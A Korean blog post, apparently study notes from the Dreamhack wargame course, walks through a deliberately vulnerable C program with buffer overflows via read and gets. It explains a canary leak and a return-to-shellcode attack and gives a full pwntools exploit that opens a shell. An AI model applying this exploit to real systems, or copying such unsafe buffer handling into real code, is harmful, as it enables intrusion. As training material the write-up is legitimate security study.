드림핵 내용을 기반으로 작성되었다.
문제 파악
// Name: r2s.c
// Compile: gcc -o r2s r2s.c -zexecstack
#include <stdio.h>
#include <unistd.h>
int main() {
char buf[0x50];
printf("Address of the buf: %p\n", buf);
printf("Distance between buf and $rbp: %ld\n",
(char*)__builtin_frame_address(0) - buf);
printf("[1] Leak the canary\n");
printf("Input: ");
fflush(stdout);
read(0, buf, 0x100);
printf("Your input is '%s'\n", buf);
puts("[2] Overwrite the return address");
printf("Input: ");
fflush(stdout);
gets(buf);
return 0;
}
다음 분석 내용을 보기 전 어떤 취약점이 있을지 찾아본다. 우선 buf의 크기는 0x50으로 설정되어 있다. 하지만 read(0, buf, 0x100)을 보면 buf 부분에 0x50보다 큰 0x100을 입력할 수 있다. 따라서 버퍼오버플로우가 가능할 수 있을 것 같다. 또 gets 함수에서도 buf에 값을 입력하는데 gets함수는 입력하는 문자열의 길이를 확인하지 않기 때문에 여기서도 버퍼오버플로우가 가능하다.
만약 카나리 값이 있다면 첫번째 read함수에서 딱 길이를 0x50(정확한지는 모르겠다.. 항상 헷갈린다,,)만큼 입력한다면 카나리의 첫번째 널바이트를 덮게 되어 카나리 값을 얻을 수 있을 것 같다. 이렇게 얻은 카나리 값을 이용해 다음 gets할 때 카나리 값을 적절한 위치에 넣어 덮어주고 return addr에 쉘코드를 입력하면 쉘을 딸 수 있을 것이다. (착각했던 부분이 있다.. return addr은 해당 주소로 이동하는 것이지 해당 부분에 담긴 쉘코드를 실행하는 것이 아니다. 즉, return addr에 쉘코드가 있는 주소를 넣고, 해당 주소로 이동해 쉘코드를 실행하는 것이다.)
분석
1. 보호기법 확인
checksec 명령어를 이용해 해당 바이너리에 적용된 보호기법을 확인한다. 현재 카나리가 적용되어 있는 것을 알 수 있다.
2. buf 주소
본 예제에서는 친절하게 buf의 주소와 buf와 rbp의 차이, 즉 buf에서 SFP까지의 거리를 알려준다.
printf("Address of the buf: %p\n", buf);
printf("Distance between buf and $rbp: %ld\n",
(char*)__builtin_frame_address(0) - buf);
__builtin_frame_address는 스택 프레임 주소를 반환하는 함수이다. 어셈을 확인해보면 rbp의 값에서 buf의 주소를 빼주는 것을 확인할 수 있다.
3. 스택 버퍼 오버플로우
buf에 총 2번의 입력을 받는다. read에서는 buf의 크기인 0x50보다 큰 0x100까지 입력을 받을 수 있고, gets에서는 입력 문자열의 길이를 확인하지 않기 때문에 buf의 크기보다 더 큰 길이를 받을 수 있다. 따라서 총 2번의 버퍼 오버플로우를 일으킬 수 있다.
이를 이용해 카나리 값을 알아내고, 버퍼 오버플로우를 일으켜 쉘을 따야한다.
char buf[0x50];
read(0, buf, 0x100); // 0x50 < 0x100
gets(buf); // Unsafe function
4. 카나리 우회 - 카나리 릭
코드를 보면 read를 한 후 buf의 값을 출력시키기 때문에 read에 적당히 값을 넣어 카나리까지 출력되도록 해야한다. gdb를 이용해 카나리 위치를 확인해보니 rbp - 0x8이다. read 함수는 마지막에 \n이 아닌 \x0a를 붙인다. 따라서 총 0x58(+\x0a까지 0x59개)개를 입력해주면 카나리 첫번째 값인 0x00을 0x0a로 덮어쓸 수 있다. 따라서 read 다음 printf에서 카나리 값까지 출력할 수 있다.
5. 쉘 획득
쉘 획득을 위해 nx bit가 disable이므로 return addr을 쉘코드로 덮으면 될 것 같다. 아니면 buf의 주소를 알기때문에 buf에 쉘코드를 주입하고 return addr을 buf의 주소로 하면 된다. ( 착각한 부분이 있다.. return addr의 코드는 실행되는게 아니라 해당 주소로 이동하게 된다.)
exploit 작성
from pwn import *
def slog(n, m) :
return success(" : ".join([n,hex(m)]))
context.arch = "amd64" #이 부분을 안넣으니 broken pipe error가 떴었다..
p = process("./r2s")
p.recvuntil("buf:")
buf_addr = int(p.recvline()[:-1],16) # 2의 과정
slog("Address of buf", buf_addr)
p.recvuntil("$rbp:")
buf2sfp = int(p.recvline()) # 3의 과정 - buf부터 sfp까지의 거리
buf2cnry = buf2sfp - 0x8 # 3의 과정 - buf부터 카나리까지의 거리
slog("buf <=> sfp", buf2sfp)
slog("buf <=> canary", buf2cnry)
payload = b"a" * (buf2cnry + 1) # 4의 과정 - 카나리릭( +1은 카나리의 널바이트 덮기 위해서)
p.sendafter("Input: ", payload)
p.recvuntil(payload)
canary = u64(b"\x00"+p.recv(7))
slog("Canary", canary)
sh = asm(shellcraft.sh()) # 5의 과정 - 쉘코드
payload = sh.ljust(buf2cnry, b"A") + p64(canary) + b"B"*0x8 + p64(buf_addr)
# 5의 과정 - 페이로드 작성
p.sendlineafter("Input:", payload) # 5의 과정 - 쉘획득
p.interactive()
이 방법은 아래의 조건이 만족하면 사용할 수 있다.
- 코드를 삽입할 수 있는 임의의 버퍼가 있을 때, 해당 버퍼의 주소를 알거나, 구할 수 있다.
- 실해 흐름을 옮길 수 있다. (스택 버퍼 오버플로우 가능하다)
*** gcc의 -zexecstack 옵션 : NX bit 해제
'CS > system' 카테고리의 다른 글
[System] library - Static Link vs Dynamic Link (1) | 2022.11.26 |
---|---|
[System][Dreamhack] 메모리 보호기법 Mitigation: NX & ASLR (0) | 2022.11.25 |
[System][Dreamhack] wargame - ssp_001 스택 순서 (0) | 2022.08.24 |
[System][Dreamhack] bypass canary (0) | 2022.08.10 |
[System][Dreamhack] 메모리 보호 기법 memory mitigation - Stack Canary (0) | 2022.08.09 |